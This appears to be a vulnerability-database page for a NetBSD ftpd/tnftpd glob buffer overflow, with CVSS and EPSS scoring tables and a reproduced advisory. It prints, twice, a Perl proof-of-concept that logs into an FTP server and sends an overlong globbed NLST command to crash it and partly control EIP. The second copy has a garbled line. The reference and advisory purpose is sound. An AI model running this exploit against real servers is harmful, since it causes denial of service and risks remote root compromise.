CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Buffer overflow in the glob implementation (glob.c) in libc in NetBSD-current before 20050914, NetBSD 2.* and 3.* before 20061203, and Apple Mac OS X before 2007-004, as used by the FTP daemon and tnftpd, allows remote authenticated users to execute arbitrary code via a long pathname that results from path expansion.
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
9
AV:N/AC:L/Au:S/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
35.94%
–
–
2022-04-03
–
–
35.94%
–
–
2023-03-12
–
–
–
2.61%
–
2023-04-16
–
–
–
2.34%
–
2023-05-28
–
–
–
2.55%
–
2023-07-02
–
–
–
3.07%
–
2023-09-17
–
–
–
2.29%
–
2023-12-17
–
–
–
2.29%
–
2024-04-14
–
–
–
2.29%
–
2024-06-02
–
–
–
2.29%
–
2024-06-02
–
–
–
2.29%
–
2024-12-22
–
–
–
56.99%
–
2025-01-19
–
–
–
56.99%
–
2025-03-18
–
–
–
–
38.26%
2025-03-30
–
–
–
–
32.53%
2025-04-10
–
–
–
–
32.53%
2025-04-10
–
–
–
–
32.53,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
#!perl
# $$$ NetBSD ftpd and ports *Remote ROOOOOT $HOLE$* $$$
#
# About
#
# tnftpd is a port of the NetBSD FTP server to other systems.
# It offers many enhancements over the traditional BSD ftpd,
# including per-class configuration directives via ftpd.conf(5),
# RFC 2389 and draft-ietf-ftpext-mlst-11 support, IPv6,
# transfer rate throttling, and more.
# tnftpd was formerly known as lukemftpd,
# and earlier versions are present in Mac OS X 10.2 (as ftpd)
# and FreeBSD 5.0 (as lukemftpd).
#
# Description
#
# The NetBSD ftpd and the tnftpd port suffer from a remote stack overrun,
# which can lead to a root compromise.
#
# The bug is in glob.c file. The globbing mechanism is flawed as back in
# 2001.
#
# To trigger the overflow you can create a folder and use the globbing
# special characters (like STARS) to overflow an internal stack based buffer.
#
# gdb output tested on NetBSD 3.0 i386 NetBSD-ftpd 20050303 :
# (gdb) c
# Continuing.
#
# Program received signal SIGSEGV, Segmentation fault.
# 0x00410041 in ?? ()
# (gdb)
#
# tnftpd-20040810 behaves similar.
# FreeBSD (lukemftpd) and MacOSX (ftpd) were not tested,
# however they could have the same bug, because of the same
# codebase.
#
# The problem when exploiting this kind of bug is,
# that we can only control 0x00410041, not the whole
# 32 bit. However it looks feasible to find a way
# to do a hole EIP redirection and/or exploit
# the bug the "unicode" way, which could be especially
# hard on BSD systems.
# kcope
use IO::Socket;
$sock = IO::Socket::INET->new(PeerAddr => '192.168.2.10',
PeerPort => '21',
Proto => 'tcp');
$c = "C";
$a = "C" x 255;
$d = "A" x 450;
print $sock "USER kcope\r\n";
print $sock "PASS remoteroot\r\n";
$x = <stdin>;
print $sock "MKD $a\r\n";
print $sock "NLST C*/../C*/../C*/../$d\r\n";
print $sock "QUIT\r\n";
while (<$sock>) {
print;
}
# milw0rm.com [2006-11-30]
source: https://www.securityfocus.com/bid/21377/info
NetBSD ftpd and tnftpd are prone to a remote buffer-overflow vulnerability. This issue is due to an off-by-one error; it allows attackers to corrupt memory.
Remote attackers may execute arbitrary machine code in the context of the user running the affected application. Failed attempts will likely result in denial-of-service conditions.
#!perl
# $$$ NetBSD ftpd and ports *Remote ROOOOOT $HOLE$* $$$
#
# About
#
# tnftpd is a port of the NetBSD FTP server to other systems.
# It offers many enhancements over the traditional BSD ftpd,
# including per-class configuration directives via ftpd.conf(5),
# RFC 2389 and draft-ietf-ftpext-mlst-11 support, IPv6,
# transfer rate throttling, and more.
# tnftpd was formerly known as lukemftpd,
# and earlier versions are present in Mac OS X 10.2 (as ftpd)
# and FreeBSD 5.0 (as lukemftpd).
#
# Description
#
# The NetBSD ftpd and the tnftpd port suffer from a remote stack overrun,
# which can lead to a root compromise.
#
# The bug is in glob.c file. The globbing mechanism is flawed as back in
# 2001.
#
# To trigger the overflow you can create a folder and use the globbing
# special characters (like STARS) to overflow an internal stack based
buffer.
#
# gdb output tested on NetBSD 3.0 i386 NetBSD-ftpd 20050303 :
# (gdb) c
# Continuing.
#
# Program received signal SIGSEGV, Segmentation fault.
# 0x00410041 in ?? ()
# (gdb)
#
# tnftpd-20040810 behaves similar.
# FreeBSD (lukemftpd) and MacOSX (ftpd) were not tested,
# however they could have the same bug, because of the same
# codebase.
#
# The problem when exploiting this kind of bug is,
# that we can only control 0x00410041, not the whole
# 32 bit. However it looks feasible to find a way
# to do a hole EIP redirection and/or exploit
# the bug the "unicode" way, which could be especially
# hard on BSD systems.
# kcope
use IO::Socket;
$sock = IO::Socket::INET->new(PeerAddr => '192.168.2.10',
PeerPort => '21',
Proto => 'tcp');
$c = "C";
$a = "C" x 255;
$d = "A" x 450;
print $sock "USER kcope\r\n";
print $sock "PASS remoteroot\r\n";
$x = ;
print $sock "MKD $a\r\n";
print $sock "NLST C*/../C*/../C*/../$d\r\n";
print $sock "QUIT\r\n";
while (<$sock>) {
print;
}